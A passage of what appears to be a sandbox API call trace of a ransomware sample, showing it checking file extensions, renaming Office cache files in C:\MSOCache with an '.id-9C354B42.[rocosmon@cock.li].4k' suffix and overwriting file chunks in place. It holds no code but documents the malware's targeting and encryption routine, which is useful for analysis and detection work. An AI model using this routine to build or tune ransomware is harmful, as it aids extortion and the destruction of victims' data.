	[0101.915] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0101.915] lstrlenW (lpString=".xls") returned 4
	[0101.916] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0101.916] lstrlenW (lpString=".xlsx") returned 5
	[0101.916] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0101.916] lstrlenW (lpString=".ppt") returned 4
	[0101.916] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0101.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.916] lstrlenW (lpString=".zip") returned 4
	[0101.916] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0101.916] lstrlenW (lpString=".rar") returned 4
	[0101.916] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0101.916] lstrlenW (lpString=".bz2") returned 4
	[0101.916] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0101.916] lstrlenW (lpString=".7z") returned 3
	[0101.916] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0101.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.916] lstrlenW (lpString=".dbf") returned 4
	[0101.916] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0101.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.916] lstrlenW (lpString=".1cd") returned 4
	[0101.916] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0101.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85
	[0101.916] lstrlenW (lpString=".jpg") returned 4
	[0101.916] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0101.916] lstrcmpiW (lpString1=".dll", lpString2=".4k") returned 1
	[0101.916] lstrlenW (lpString="osetup.dll") returned 10
	[0101.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.929] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=7378792) returned 1
	[0101.929] CloseHandle (hObject=0x204) returned 1
	[0101.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020
	[0101.929] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.929] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0101.937] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0101.938] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0101.938] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.938] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0101.989] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0101.989] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.150] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.150] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.150] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.316] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.316] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0102.334] SetEndOfFile (hFile=0x204) returned 1
	[0102.334] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0102.338] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.338] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.340] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.340] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.342] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.342] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.344] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0102.344] CloseHandle (hObject=0x204) returned 1
	[0102.344] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0102.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.344] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.344] lstrlenW (lpString=".doc") returned 4
	[0102.344] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0102.344] lstrlenW (lpString=".docx") returned 5
	[0102.345] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0102.345] lstrlenW (lpString=".pdf") returned 4
	[0102.345] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString=".xls") returned 4
	[0102.345] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString=".xlsx") returned 5
	[0102.345] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0102.345] lstrlenW (lpString=".ppt") returned 4
	[0102.345] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.345] lstrlenW (lpString=".zip") returned 4
	[0102.345] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString=".rar") returned 4
	[0102.345] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString=".bz2") returned 4
	[0102.345] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0102.345] lstrlenW (lpString=".7z") returned 3
	[0102.345] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0102.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.345] lstrlenW (lpString=".dbf") returned 4
	[0102.345] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0102.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.345] lstrlenW (lpString=".1cd") returned 4
	[0102.345] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0102.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.345] lstrlenW (lpString=".jpg") returned 4
	[0102.345] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0102.345] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.346] lstrlenW (lpString=".doc") returned 4
	[0102.346] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString=".docx") returned 5
	[0102.346] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0102.346] lstrlenW (lpString=".pdf") returned 4
	[0102.346] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString=".xls") returned 4
	[0102.346] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString=".xlsx") returned 5
	[0102.346] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0102.346] lstrlenW (lpString=".ppt") returned 4
	[0102.346] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.346] lstrlenW (lpString=".zip") returned 4
	[0102.346] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString=".rar") returned 4
	[0102.346] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0102.346] lstrlenW (lpString=".bz2") returned 4
	[0102.346] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0102.346] lstrlenW (lpString=".7z") returned 3
	[0102.346] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0102.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.346] lstrlenW (lpString=".dbf") returned 4
	[0102.346] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0102.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.346] lstrlenW (lpString=".1cd") returned 4
	[0102.346] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0102.346] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73
	[0102.347] lstrlenW (lpString=".jpg") returned 4
	[0102.347] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0102.347] lstrcmpiW (lpString1=".msi", lpString2=".4k") returned 1
	[0102.347] lstrlenW (lpString="ProPlusrWW.msi") returned 14
	[0102.347] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0102.347] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=27532288) returned 1
	[0102.347] CloseHandle (hObject=0x204) returned 1
	[0102.347] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi")) returned 0x2020
	[0102.347] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.347] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0102.348] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.msi.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0102.348] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0102.348] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.348] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.395] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.395] ReadFile (in: hFile=0x204, lpBuffer=0x3dc0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dc0058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.479] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.479] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.479] ReadFile (in: hFile=0x204, lpBuffer=0x3e00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e00058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
	[0102.787] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.787] WriteFile (in: hFile=0x204, lpBuffer=0x3d80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x390fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d80020*, lpNumberOfBytesWritten=0x390fcb0*=0xc0108, lpOverlapped=0x0) returned 1
	[0102.877] SetEndOfFile (hFile=0x204) returned 1
	[0102.877] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x40000) returned 0x3f402b0
	[0102.932] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.932] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.939] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.939] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.942] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x390fc7c | out: lpNewFilePointer=0x0) returned 1
	[0102.942] WriteFile (in: hFile=0x204, lpBuffer=0x3f402b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x390fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f402b0*, lpNumberOfBytesWritten=0x390fc88*=0x40000, lpOverlapped=0x0) returned 1
	[0102.945] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x3f402b0 | out: hHeap=0x4a0000) returned 1
	[0102.945] CloseHandle (hObject=0x204) returned 1
	[0102.945] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0102.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.945] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.945] lstrlenW (lpString=".doc") returned 4
	[0102.945] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0102.945] lstrlenW (lpString=".docx") returned 5
	[0102.945] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0102.945] lstrlenW (lpString=".pdf") returned 4
	[0102.945] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0102.945] lstrlenW (lpString=".xls") returned 4
	[0102.945] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0102.945] lstrlenW (lpString=".xlsx") returned 5
	[0102.946] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0102.946] lstrlenW (lpString=".ppt") returned 4
	[0102.946] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString=".zip") returned 4
	[0102.946] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0102.946] lstrlenW (lpString=".rar") returned 4
	[0102.946] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0102.946] lstrlenW (lpString=".bz2") returned 4
	[0102.946] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0102.946] lstrlenW (lpString=".7z") returned 3
	[0102.946] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString=".dbf") returned 4
	[0102.946] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString=".1cd") returned 4
	[0102.946] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString=".jpg") returned 4
	[0102.946] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.946] lstrlenW (lpString=".doc") returned 4
	[0102.946] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1
	[0102.946] lstrlenW (lpString=".docx") returned 5
	[0102.946] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1
	[0102.946] lstrlenW (lpString=".pdf") returned 4
	[0102.946] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1
	[0102.946] lstrlenW (lpString=".xls") returned 4
	[0102.946] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1
	[0102.946] lstrlenW (lpString=".xlsx") returned 5
	[0102.947] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1
	[0102.947] lstrlenW (lpString=".ppt") returned 4
	[0102.947] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1
	[0102.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.947] lstrlenW (lpString=".zip") returned 4
	[0102.947] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1
	[0102.947] lstrlenW (lpString=".rar") returned 4
	[0102.947] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1
	[0102.947] lstrlenW (lpString=".bz2") returned 4
	[0102.947] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1
	[0102.947] lstrlenW (lpString=".7z") returned 3
	[0102.947] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1
	[0102.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.947] lstrlenW (lpString=".dbf") returned 4
	[0102.947] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1
	[0102.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.947] lstrlenW (lpString=".1cd") returned 4
	[0102.947] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1
	[0102.947] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77
	[0102.947] lstrlenW (lpString=".jpg") returned 4
	[0102.947] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1
	[0102.947] lstrcmpiW (lpString1=".cab", lpString2=".4k") returned 1
	[0102.947] lstrlenW (lpString="ProPrWW2.cab") returned 12
	[0102.947] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0102.948] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x390ff1c | out: lpFileSize=0x390ff1c*=222948913) returned 1
	[0102.948] CloseHandle (hObject=0x204) returned 1
	[0102.948] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020
	[0102.948] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.948] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[rocosmon@cock.li].4k")) returned 1
	[0102.949] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204
	[0102.949] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc6c | out: lpNewFilePointer=0x0) returned 1
	[0102.949] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x390fc2c | out: lpNewFilePointer=0x0) returned 1
	[0102.949] ReadFile (in: hFile=0x204, lpBuffer=0x3d80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x390fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d80058*, lpNumberOfBytesRead=0x390fc38*=0x40000, lpOverlapped=0x0) returned 1
